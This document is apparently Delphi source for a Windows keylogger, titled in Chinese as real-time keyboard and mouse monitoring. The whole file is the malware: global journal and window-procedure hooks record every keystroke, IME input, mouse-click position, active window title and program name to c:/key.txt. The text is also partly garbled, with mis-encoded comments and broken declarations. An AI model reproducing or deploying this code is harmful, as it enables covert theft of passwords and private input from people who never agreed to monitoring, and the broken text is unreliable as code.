实时监控键盘,鼠标位置
unit unitFunction;
interface
uses Windows,Messages, SysUtils,TLHelp32;
const
KeyMask = $80000000;
var
HHGetMsgProc:HHook;
HHExtendKeyProc:HHook;
HHCallWndProc:HHook;
LastFocusWnd: HWnd = 0;
FocusWnd:HWnd;
PID:HWnd;
LastIsMouse:Integer;
PrvChar: Char;
procedure stop;stdcall;
procedure run;stdcall;
implementation
//Îļþ´æ´¢
procedure SaveInfo(str:string;Index:Integer);stdcall;
var
CurLogFile:textfile;
begin
assignfile(CurLogFile,'c:/key.txt');
if fileexists('c:/key.txt')=false then
rewrite(CurLogFile)
else
append(CurLogFile);
write(CurLogFile,str);
if Index=1 then
writeln(CurLogFile,'') ;
closefile(CurLogFile);
end;
//È¡µÃ½ø³Ì¿ìÕÕ
function GetAllProcess(pid
WORD):String;
var
pProcessID
WORD;
ContinueLoop : BOOL;
FSnapshotHandle : THandle;
FProcessEntry32 : TProcessEntry32;
pExeFile : string;
begin
result:='';
FSnapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
ContinueLoop:=Process32First(FSnapshotHandle,FProcessEntry32);
while ContinueLoop do begin
pExeFile := FProcessEntry32.szExeFile; //½ø³ÌÎļþÃû
pProcessID := FProcessEntry32.th32ProcessID; //½ø³ÌID
if pProcessID=pid then
break;
ContinueLoop:=Process32Next(FSnapshotHandle,FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
result:=pExeFile;
end;
//дµ±Ç°´°¿Ú±êÌâ
function WriteTitle():Boolean;
var
Time:String ;
ExeFileNames: STring;
Title: array[0..255] of Char;
begin
Result:=FALSE;
FocusWnd:=GetActiveWindow;
if LastFocusWnd <> FocusWnd then
begin
LastFocusWnd := FocusWnd;
GetWindowThreadProcessID(FocusWnd,@PID);
ExeFileNames:=GetAllProcess(PID);
if (upperCase(ExeFileNames))='EXAMPRJ.EXE' then
begin
LastIsMouse:=1;
Result:=true;
exit;
end;
try
GetWindowText(FocusWnd, Title, 256);
except
exit;
end;
if(Title='') then
exit;
Time := DateTimeToStr(Now);
SaveInfo('',1);
SaveInfo('App:'+ExeFileNames,1);
SaveInfo('Time:'+Time,1);
SaveInfo( 'Title:'+Format('&iexcl;&para;%s&iexcl;·', [Title]),1);
LastIsMouse:=0;
end;
Result:=true;
end;
function Keyhookresult(lP: integer; wP: integer): pchar;
begin
result := '';
case lp of
10688: result := '`';
561: Result := '1';
818: result := '2';
1075: result := '3';
1332: result := '4';
1589: result := '5';
1846: result := '6';
2103: result := '7';
2360: result := '8';
2617: result := '9';
2864: result := '0';
3261: result := '-';
3515: result := '=';
4177: result := 'Q';
4439: result := 'W';
4677: result := 'E';
4946: result := 'R';
5204: result := 'T';
5465: result := 'Y';
5717: result := 'U';
5961: result := 'I';
6223: result := 'O';
6480: result := 'P';
6875: result := '[';
7133: result := ']';
11228: result := '/';
7745: result := 'A';
8019: result := 'S';
8260: result := 'D';
8518: result := 'F';
8775: result := 'G';
9032: result := 'H';
9290: result := 'J';
9547: result := 'K';
9804: result := 'L';
10170: result := ';';
10462: result := '''';
11354: result := 'Z';
11608: result := 'X';
11843: result := 'C';
12118: result := 'V';
12354: result := 'B';
12622: result := 'N';
12877: result := 'M';
13244: result := ',';
13502: result := '.';
13759: result := '/';
13840: result := '[Right-Shift]';
14624: result := '[Space]';
283: result := '[Esc]';
15216: result := '[F1]';
15473: result := '[F2]';
15730: result := '[F3]';
15987: result := '[F4]';
16244: result := '[F5]';
16501: result := '[F6]';
16758: result := '[F7]';
17015: result := '[F8]';
17272: result := '[F9]';
17529: result := '[F10]';
22394: result := '[F11]';
22651: result := '[F12]';
10768: Result := '[Left-Shift]';
14868: result := '[CapsLock]';
3592: result := '[Backspace]';
3849: result := '[Tab]';
7441:
if wp > 30000 then
result := '[Right-Ctrl]'
else
result := '[Left-Ctrl]';
13679: result := '[Num /]';
17808: result := '[NumLock]';
300: result := '[Print Screen]';
18065: result := '[Scroll Lock]';
17683: result := '[Pause]';
21088: result := '[Num0]';
21358: result := '[Num.]';
20321: result := '[Num1]';
20578: result := '[Num2]';
20835: result := '[Num3]';
19300: result := '[Num4]';
19557: result := '[Num5]';
19814: result := '[Num6]';
18279: result := '[Num7]';
18536: result := '[Num8]';
18793: result := '[Num9]';
19468: result := '[*5*]';
14186: result := '[Num *]';
19053: result := '[Num -]';
20075: result := '[Num +]';
21037: result := '[Insert]';
21294: result := '[Delete]';
18212: result := '[Home]';
20259: result := '[End]';
18721: result := '[PageUp]';
20770: result := '[PageDown]';
18470: result := '[UP]';
20520: result := '[DOWN]';
19237: result := '
';
19751: result := '
';
7181: result := '[Enter]';
else
Result:='';
end;
end;
//&sup1;&laquo;&sup1;&sup2;&sup1;&sup3;×&Oacute;&ordm;&macr;&Ecirc;&yacute;
procedure HookProc(OldLparam:LPARAM;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
var
ExtendStr:String;
begin
if (uMessage=WM_IME_CHAR) then
begin
if WriteTitle() then
SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]),0);
exit;
end;
end;
//&Iuml;&ucirc;&Iuml;&cent;&sup1;&sup3;×&Oacute;&frac12;&Oslash;&raquo;&ntilde;&frac14;ü&Aring;&Igrave;&Ecirc;&auml;&Egrave;&euml;
function LogProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
CurResult:String;
ExtendStr:String;
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then
CurResult :=Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);
if CurResult<>'' then
begin
if WriteTitle() then
begin
SaveInfo(CurResult,0);
end;
end;
if (peventmsg(lparam)^.message = WM_LBUTTONDOWN) or (peventmsg(lparam)^.message = WM_RBUTTONDOWN) then
begin
if WriteTitle() then
begin
if(LastIsMouse=0) then
begin
if peventmsg(lparam)^.message = WM_LBUTTONDOWN then
ExtendStr := ' LB at: '
else
ExtendStr := ' RB at: ';
ExtendStr:=ExtendStr + Format('x:%d,y:%d', [peventmsg(lparam)^.paramL,peventmsg(lparam)^.paramH]);
SaveInfo(ExtendStr,0);
LastIsMouse:=1;
end;
end;
end;
Result:=CallNextHookEx(HHExtendKeyProc,nCode,wParam,lParam);
end;
//&acute;°&iquest;&Uacute;&Iuml;&ucirc;&Iuml;&cent;&sup1;&sup3;×&Oacute;&frac12;&Oslash;&raquo;&ntilde;&ordm;&ordm;×&Ouml;&Ecirc;&auml;&Egrave;&euml;
function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs
CWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(lParam,uMsg,wp,lp);
end;
Result:=CallNextHookEx(HHCallWndProc,nCode,wParam,lParam);
end;
//&AElig;&ocirc;&para;&macr;&Iacute;&pound;&Ouml;&sup1;&sup1;&sup3;×&Oacute;
procedure SetHook(fSet:boolean);
begin
if fSet=true then
begin
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then
UnhookWindowsHookEx(HHGetMsgProc);
end;
if HHExtendKeyProc=0 then
begin
HHExtendKeyProc:=SetWindowsHookEx(WH_JOURNALRECORD,@LogProc,hinstance,0);
end;
end
else
begin
if HHCallWndProc<>0 then
if HHExtendKeyProc<>0 then
UnhookWindowsHookEx(HHExtendKeyProc);
HHCallWndProc:=0;
HHExtendKeyProc:=0;
end;
end;
// &Iacute;&pound;&Ouml;&sup1;
procedure stop;stdcall;
begin
SetHook(False);
end;
//&iquest;&ordf;&Ecirc;&frac14;
procedure run;stdcall;
var
CurLogFile:TextFile;
begin
assignfile(CurLogFile,'c:/key.txt');
rewrite(CurLogFile);
closefile(CurLogFile);
SetHook(true);
end;
end.